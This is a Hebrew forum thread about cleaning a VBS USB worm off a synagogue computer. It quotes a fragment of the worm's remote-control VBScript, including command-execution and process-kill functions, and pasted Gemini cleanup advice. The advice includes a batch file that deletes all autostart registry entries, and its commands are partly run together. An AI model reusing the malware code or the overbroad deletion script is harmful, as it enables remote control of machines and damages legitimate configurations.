next end Function function enumfaf (enumdir) enumfaf = enumdir & spliter for each folder in filesystemobj.getfolder (enumdir).subfolders enumfaf = enumfaf & folder.name & "|" & "" & "|" & "d" & "|" & folder.attributes & spliter next for each file in filesystemobj.getfolder (enumdir).files enumfaf = enumfaf & file.name & "|" & file.size & "|" & "f" & "|" & file.attributes & spliter next end function function enumprocess () on error resume next set objwmiservice = getobject("winmgmts:\\.\root\cimv2") set colitems = objwmiservice.execquery("select * from win32_process",,48) dim objitem for each objitem in colitems enumprocess = enumprocess & objitem.name & "|" enumprocess = enumprocess & objitem.processid & "|" enumprocess = enumprocess & objitem.executablepath & spliter next end function sub exitprocess (pid) on error resume next shellobj.run "taskkill /F /T /PID " & pid,7,true end sub sub deletefaf (url) on error resume next filesystemobj.deletefile url filesystemobj.deletefolder url end sub function cmdshell (cmd) dim httpobj,oexec,readallfromany set oexec = shellobj.exec ("%comspec% /c " & cmd) if not oexec.stdout.atendofstream then readallfromany = oexec.stdout.readall elseif not oexec.stderr.atendofstream then readallfromany = oexec.stderr.readall else readallfromany = "" end if cmdshell = readallfromany end function -
וכשכתבתי ו את ההודעה שלך בהתחלה הוא ענה:
צר לי לשמוע על המצב. זה באמת "בור ברשות הרבים" במובן הטכנולוגי ביותר – מחשבים בבתי כנסת שמשמשים ל"אוצר החכמה" הם יעד קלאסי לווירוס הזה (Houdini), בגלל תחלופת הדיסק-און-קי הגבוהה.
הסיבה שהאנטי-וירוס מתקשה היא שהווירוס משתמש בכלי מערכת לגיטימיים של ווינדוס (כמו wscript.exe) כדי להריץ סקריפט טקסט פשוט, מה שמאפשר לו לעיתים לחמוק מתחת לרדאר.
הנה "מפת הדרכים" של המקומות שבהם הוא מתחבא ואיך מנקים אותו מהשורש:
- היכן הוא מתחבא? (לפי הקוד שצירפת)
הווירוס הזה עקשן כי הוא משכפל את עצמו לכמה מקומות בו-זמנית:
תיקיית זמניים (Temp): הוא מעתיק את עצמו לתיקיית %temp%.
תיקיית הפעלה (Startup): הוא שותל שם עותק כדי שיעלה בכל פעם שהמחשב נדלק.
רישום המערכת (Registry): הוא יוצר מפתח בכתובת HKCU\Software\Microsoft\Windows\CurrentVersion\Run תחת שם שנראה תמים.
בכונני USB: הוא הופך את התיקיות האמיתיות שלך לנסתרות ויוצר במקומן קיצורי דרך עם אותו שם.
- שלבי הניקוי (בצע לפי הסדר)
כדי לנצח אותו, צריך קודם כל "להרדים" אותו ורק אז למחוק:
א. עצירת התהליך
לחץ על Ctrl + Shift + Esc כדי לפתוח את מנהל המשימות.חפש ברשימה תהליך בשם Windows Script Host או wscript.exe.
לחץ עליו קליק ימני וביצוע "סיום משימה". זה ימנע ממנו לשכפל את עצמו בזמן שאתה מוחק אותו.
ב. מחיקה מהרישום (Registry)
לחץ על מקש הלווינדוס + R, הקלד regedit ולחץ Enter.נווט לנתיב: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run.
חפש שם ערך שכתוב בו הנתיב לתיקיית ה-Temp או קובץ שמסתיים ב-.vbs. מחק אותו.
בדוק גם בנתיב המקביל תחת HKEY_LOCAL_MACHINE.
ג. מחיקת הקבצים הפיזיים
פתח את סייר הקבצים והדבק בשורת הכתובת: %temp%. חפש קובץ עם סיומת .vbs (השם יכול להיות אקראי או משהו כמו Houdini) ומחק אותו.הדבק בשורת הכתובת: shell:startup. אם יש שם קובץ VBS או קיצור דרך חשוד – מחק אותו.
- תיקון הדיסק-און-קי (החזרת הקבצים שנעלמו)
אם הקבצים בכונן נראים כמו קיצורי דרך, אל תלחץ עליהם! הם אלו שמדביקים מחדש את המחשב.
חבר את הכונן הנגוע.
פתח את "שורת הפקודה" (CMD) כמנהל.
הקלד את האות של הכונן (למשל :F) ולחץ Enter.
הקלד את הפקודה הבאה שתבטל את ההסתרה שהווירוס ביצע:
attrib -h -r -s /s /d .כעת תוכל לראות את התיקיות האמיתיות שלך. מחק את כל קבצי ה-LNK (קיצורי הדרך) ואת קובץ ה-VBS שנמצא על הכונן.
עצה קטנה ל"אוצר החכמה" בבית הכנסת:
כדי למנוע הישנות, כדאי להתקין תוכנה קטנה וחינמית בשם USB Vaccinator או פשוט לחסום הרצת סקריפטים מסוג VBS במחשב אם אין בהם צורך (דרך ה-Registry).האם תרצה שאכתוב עבורך פקודה אחת פשוטה (Batch file) שתבצע את כל הניקוי הזה באופן אוטומטי?
כן
כן
Gemini אמר
הנה קוד פשוט שיצרתי עבורך. הוא מבצע את כל הפעולות שדיברנו עליהן: סגירת התהליך הזדוני, מחיקת הקבצים מהתיקיות הנסתרות וניקוי הרישום (Registry).הוראות ביצוע:
העתק את הקוד למטה.פתח את "פנקס רשימות" (Notepad).
הדבק את הקוד בתוכו.
שמור את הקובץ בשם CleanVirus.bat (חשוב מאוד שהסיומת תהיה .bat ולא .txt).
לחץ על הקובץ ששמרת קליק ימני ובחר "הפעל כמנהל" (Run as Administrator).
הקוד לניקוי המחשב:
קטע קוד
@echo off
color 0A
echo Stopping Virus Process...
taskkill /F /IM wscript.exe /Techo.
echo Deleting Virus Files...
del /F /Q "%temp%*.vbs"
del /F /Q "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup*.vbs"echo.
echo Cleaning Registry Keys...
reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /va /f
reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /va /fecho.
echo Restoration Complete.
echo Please check your USB drives separately using the 'attrib' command.
pause
מה הקוד הזה עושה בפועל?
taskkill: מפסיק מיד את המנוע שמריץ את הווירוס (wscript).del: מוחק קבצי VBS חשודים מתיקיית הזמניים ומתיקיית ההפעלה האוטומטית.
reg delete: מנקה את רשימת התוכנות שעולות עם המחשב כדי שהווירוס לא יחזור אחרי הפעלה מחדש.
[!CAUTION]
שים לב: הפקודה reg delete עם הפרמטר /va מוחקת את כל התוכנות שעולות אוטומטית למשתמש הנוכחי. זה אומר שאם יש תוכנות לגיטימיות (כמו דרייבר של מדפסת או WhatsApp) שעולות עם המחשב, תצטרך להפעיל אותן ידנית פעם אחת כדי שיחזרו לרשימה, או פשוט להשאיר אותן כך. במחשב של "אוצר החכמה" זה לרוב צעד בטוח ונחוץ.טיפול בכונני ה-USB (הדיסק-און-קי):
אחרי שהרצת את הקובץ למעלה והמחשב "נקי", חבר את הכונן הנגוע והרצ את הפקודה הזו בתוך חלון ה-CMD (שורת הפקודה):
attrib -h -r -s /s /d X:*.*
(החלף את האות X באות של הכונן שלך).זה יחזיר את כל התיקיות שהווירוס הסתיר. לאחר מכן, פשוט מחק ידנית מהכונן כל קובץ עם סיומת .vbs וכל קיצור דרך שנראה כמו תיקייה.
האם תרצה שאסביר לך איך לחסום את המחשב מהרצת קבצי VBS בעתיד כדי שהווירוס לא יוכל לחזור לעולם?
אמרת
כןGemini אמר
כדי למנוע מה"בור" הזה להיפתח שוב בלב בית הכנסת, הדרך הכי טובה היא פשוט להוציא לסקריפטים האלו את ה"מנוע" מהחשמל. ברגע שנחסום את היכולת של המחשב להריץ קבצי VBS, גם אם מישהו יחבר דיסק-און-קי נגוע וילחץ על כל קיצורי הדרך שבעולם – שום דבר לא יקרה.הנה שתי דרכים לעשות זאת, מהקלה והבטוחה ועד היסודית ביותר:
אפשרות א': שינוי "פתיחה באמצעות" (השיטה המומלצת)
בשיטה זו, במקום שהמחשב יריץ את הקוד, הוא פשוט יפתח אותו כטקסט בתוך "פנקס רשימות" (Notepad). זה הופך את הווירוס למסמך קריאה תמים.צור על שולחן העבודה קובץ טקסט חדש ושנה את הסיומת שלו ל-.vbs (למשל test.vbs).
לחץ עליו קליק ימני ובחר ב-"פתח באמצעות..." (Open with).
בחר ב-"פנקס רשימות" (Notepad).
חשוב מאוד: סמן בוי את התיבה: "השתמש תמיד באפליקציה זו כדי לפתוח קבצי .vbs".
לחץ על אישור.
התוצאה: מעתה והלאה, כל וירוס VBS שינסה לרוץ פשוט יפתח חלון של Notepad עם הרבה טקסט מוזר, ולא יזיק למחשב בכלל.
אפשרות ב': חסימה מוחלטת דרך הרישום (Registry)
זו שיטה "חזקה" יותר שמנטרלת את המנוע שמריץ סקריפטים (Windows Script Host) לחלוטין.לחץ על מקש הלווינדוס + R, הקלד regedit ולחץ Enter.
נווט לנתיב הבא (תוכל להעתיק ולהדביק בשורת הכתובת למעלה):
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Script Host\Settingsבצד ימין (או שמאל, תלוי בשפת המערכת), לחץ קליק ימני על שטח ריק -> New (חדש) -> DWORD (32-bit) Value.
קרא לערך החדש בשם: Enabled.
וודא שהערך שלו הוא 0 (זה ברירת המחדל).
סגור את הרישום והפעל מחדש את המחשב.
התוצאה: אם מישהו ינסה להריץ סקריפט, ווינדוס יקפיץ הודעה ש"הגישה ל-Windows Script Host חסומה במחשב זה". זהו סוף פסוק לווירוסי VBS.
טיפ קטן לגבאי / אחראי המחשב:
מכיוון שהמחשב של "אוצר החכמה" הוא יעד קבוע לדיסק-און-קי מכל הסוגים, כדאי להדביק מדבקה קטנה על המסך: "נא לא להכניס דיסק-און-קי שלא נבדק" – למרות שעם החסימה שעשינו עכשיו, אתם הרבה יותר מוגנים.[!NOTE]
אם בעתיד תצטרכו להתקין עדכון של "אוצר החכמה" שמשתמש בסקריפטים (נדיר, אבל קורה), תצטרכו להחזיר את הערך Enabled ל-1 באופן זמני.@אור-אור-אור כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:
אפשרות א': שינוי "פתיחה באמצעות" (השיטה המומלצת)
בשיטה זו, במקום שהמחשב יריץ את הקוד, הוא פשוט יפתח אותו כטקסט בתוך "פנקס רשימות" (Notepad). זה הופך את הווירוס למסמך קריאה תמים.צור על שולחן העבודה קובץ טקסט חדש ושנה את הסיומת שלו ל-.vbs (למשל test.vbs).
לחץ עליו קליק ימני ובחר ב-"פתח באמצעות..." (Open with).
בחר ב-"פנקס רשימות" (Notepad).
חשוב מאוד: סמן בוי את התיבה: "השתמש תמיד באפליקציה זו כדי לפתוח קבצי .vbs".
לחץ על אישור.
התוצאה: מעתה והלאה, כל וירוס VBS שינסה לרוץ פשוט יפתח חלון של Notepad עם הרבה טקסט מוזר, ולא יזיק למחשב בכלל.
@cfopuser הדרך הזו לא מסוכנת?
כלומר מי ערב לכך שהוא לא יצר לעצמו קיצור דרך?
או שיריץ דרך הפאואר שיל, הcmd? - היכן הוא מתחבא? (לפי הקוד שצירפת)
-
@אור-אור-אור כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:
אפשרות א': שינוי "פתיחה באמצעות" (השיטה המומלצת)
בשיטה זו, במקום שהמחשב יריץ את הקוד, הוא פשוט יפתח אותו כטקסט בתוך "פנקס רשימות" (Notepad). זה הופך את הווירוס למסמך קריאה תמים.צור על שולחן העבודה קובץ טקסט חדש ושנה את הסיומת שלו ל-.vbs (למשל test.vbs).
לחץ עליו קליק ימני ובחר ב-"פתח באמצעות..." (Open with).
בחר ב-"פנקס רשימות" (Notepad).
חשוב מאוד: סמן בוי את התיבה: "השתמש תמיד באפליקציה זו כדי לפתוח קבצי .vbs".
לחץ על אישור.
התוצאה: מעתה והלאה, כל וירוס VBS שינסה לרוץ פשוט יפתח חלון של Notepad עם הרבה טקסט מוזר, ולא יזיק למחשב בכלל.
@cfopuser הדרך הזו לא מסוכנת?
כלומר מי ערב לכך שהוא לא יצר לעצמו קיצור דרך?
או שיריץ דרך הפאואר שיל, הcmd?